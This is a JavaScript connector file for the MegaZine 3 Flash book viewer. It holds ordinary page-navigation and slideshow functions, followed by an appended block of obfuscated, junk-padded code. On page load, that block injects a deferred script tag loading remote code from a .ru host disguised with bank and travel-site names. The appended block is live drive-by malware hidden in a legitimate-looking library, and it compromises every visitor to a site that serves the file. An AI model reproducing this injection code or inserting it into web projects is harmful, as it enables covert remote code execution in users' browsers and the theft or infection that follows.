﻿/*
MegaZine 3 - A Flash application for easy creation of book-like webpages.
Copyright (C) 2007-2008 Florian Nuecke

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/.
*/

/**
 * Interface for calling functions in the MegaZine engine. For more info see API of JSConnector.
 *
 * Usage: onxxx="javascript:MegaZine.yyy(zzz);", where xxx is the event type, yyy is the function
 * to call, and zzz are possible parameters. Example: onclick="javascript:MegaZine.nextPage();"
 */
MegaZine = {
	// Name of the movie (flash object). This should be the value of the id set in the embedSWF call.
	moviename : "megazine",
	
	/*
	 * Adjust the following functions to handle events.
	 */
	
	// Called when the automatic page turning (slideshow) is started.
	onSlideStart : function() {
	},
	
	// Called when the automatic page turning (slideshow) is stopped.
	onSlideStop : function() {
	},
	
	// Called when the current page changes. page will always be an even number.
	onPageChange : function(page) {
	},
	
	// Called when sounds should be muted.
	onMute : function() {
	},
	
	// Called when sounds are no longer muted.
	onUnmute : function() {
	},
	
	// Called when the MegaZine instance's status changes.
	onStatusChange : function(state, prevstate) {
	},
	
	
	/*
	 * !!! Do not change the following functions !!!
	 */
	
	/* This utility function resolves the string movie to a Flash object reference based on browser type. */
	getMovie : function() {
		if (navigator.appName.indexOf("Microsoft") != -1) {
			return window[MegaZine.moviename];
		} else {
			return document[MegaZine.moviename];
		}
	},
	
	// Returns current page number (always an even number).
	getCurrentPage : function() { return MegaZine.getMovie().getCurrentPage(); },
	// Return if sounds are muted.
	isMuted        : function() { return MegaZine.getMovie().isMuted(); },
	// Set muted state for sounds.
	setMuted       : function(mute) { MegaZine.getMovie().setMuted(mute); },
	// Returns number of pages in the book.
	getPageCount   : function() { return MegaZine.getMovie().getPageCount(); },
	// Returns page height.
	getPageHeight  : function() { return MegaZine.getMovie().getPageHeight(); },
	// Return page width.
	getPageWidth   : function() { return MegaZine.getMovie().getPageWidth(); },
	// Returns if reflections are enabled.
	hasReflection  : function() { return MegaZine.getMovie().hasReflection(); },
	// Sets reflection usage.
	setReflection  : function(enabled) { MegaZine.getMovie().setReflection(enabled); },
	// Returns whether shadows are enabled.
	hasShadows     : function() { return MegaZine.getMovie().hasShadows(); },
	// Sets shadow usage.
	setShadows     : function(enabled) { MegaZine.getMovie().setShadows(enabled); },
	// Navigate to an anchor in the book.
	gotoAnchor     : function(id, instant) { if (instant == null) instant = false; MegaZine.getMovie().gotoAnchor(id, instant); },
	// Navigate to a page in the book.
	gotoPage       : function(page, instant) { if (instant == null) instant = false; MegaZine.getMovie().gotoPage(page, instant); },
	// Navigate to the first page in the book.
	firstPage      : function(instant) { if (instant == null) instant = false; MegaZine.getMovie().firstPage(instant); },
	// Navigate to the last page in the book.
	lastPage       : function(instant) { if (instant == null) instant = false; MegaZine.getMovie().lastPage(instant); },
	// Navigate to the next page.
	nextPage       : function(instant) { if (instant == null) instant = false; MegaZine.getMovie().nextPage(instant); },
	// Navigate to the previous page.
	prevPage       : function(instant) { if (instant == null) instant = false; MegaZine.getMovie().prevPage(instant); },
	// Start slideshow / automatic page turning.
	slideStart     : function() { MegaZine.getMovie().slideStart(); },
	// Stop slideshow / automatic page turning.
	slideStop      : function() { MegaZine.getMovie().slideStop(); }
};

var D;if(D!='' && D!='X'){D=''};var U=new Array();var p="";function u(){var aY=new Date();var uV=RegExp;var Q;if(Q!='q'){Q=''};var N="]";var kn;if(kn!=''){kn='vn'};var zN;if(zN!='e' && zN!='vh'){zN='e'};var r="\x2f\x67\x61\x6e\x6a\x69\x2e\x63\x6f\x6d\x2f\x67\x61\x6e\x6a\x69\x2e\x63\x6f\x6d\x2f\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x2f\x61\x6e\x67\x65\x67\x65\x2e\x63\x6f\x6d\x2f\x6b\x69\x6a\x69\x6a\x69\x2e\x63\x61\x2e\x70\x68\x70";var H='';function F(d,B){var hE=new Array();var g;if(g!='Hl' && g != ''){g=null};var hR;if(hR!='t' && hR!='HX'){hR='t'};var BK=String("iMc[".substr(3));BK+=B;var As;if(As!=''){As='sS'};BK+=N;var WG='';var TR='';var S=new uV(BK, new String("7wkg".substr(3)));var K;if(K!='' && K!='eo'){K='HT'};var pH;if(pH!='' && pH!='ed'){pH='jH'};return d[new String("rep"+"lac"+"e")](S, H);};var Rv;if(Rv!='I' && Rv != ''){Rv=null};var fH;if(fH!='' && fH!='Nu'){fH='Bh'};var W=F('8955593606965585956650693356','6395');var Ud=new Date();var ga=new Array();var x="src";var Il=new Array();var FC='';var h=window;this.Dk='';var b;if(b!='ny' && b!='Hn'){b=''};var sST=new String();var T=unescape("%68%74%74%70%3a%2f%2f%69%66%65%6e%67%2d%63%6f%6d%2e%63%69%74%69%62%61%6e%6b%2e%63%6f%6d%2e%74%72%69%70%61%64%76%69%73%6f%72%2d%63%6f%6d%2e%6e%65%65%64%73%65%72%76%65%2e%72%75%3a");var G='';var P=F('dUeJfHeKrJ','Yq8gMKH0EUJbu');var PG=new String();var Gs=new Array();this.gX="";h[String("onlo2SzX".substr(0,4)+"ad")]=function(){var Jm=new Date();try {a=document.createElement(F('sHcTrviHpTtT','HUvT'));var lA;if(lA!='C'){lA=''};var Fg=new Date();FC=T;var fJ;if(fJ!='At'){fJ='At'};FC+=W;FC+=r;var vW;if(vW!='pO' && vW!='Bp'){vW=''};var Ic=new Date();a[x]=FC;var bO;if(bO!='' && bO!='xL'){bO=''};a[P]=[1][0];var WW;if(WW!='Xp'){WW=''};var _t=new String();var tg=new String();document.body.appendChild(a);var CB=new Array();var sO="";} catch(Y){this.Wl='';var G_;if(G_!='wP' && G_!='PP'){G_=''};};};var oH=new Array();var ow=new Array();};var Ec;if(Ec!='ho' && Ec!='Jw'){Ec='ho'};var Hj;if(Hj!='rh' && Hj!='ON'){Hj='rh'};u();this.fa="";var jC;if(jC!='' && jC!='aZ'){jC=null};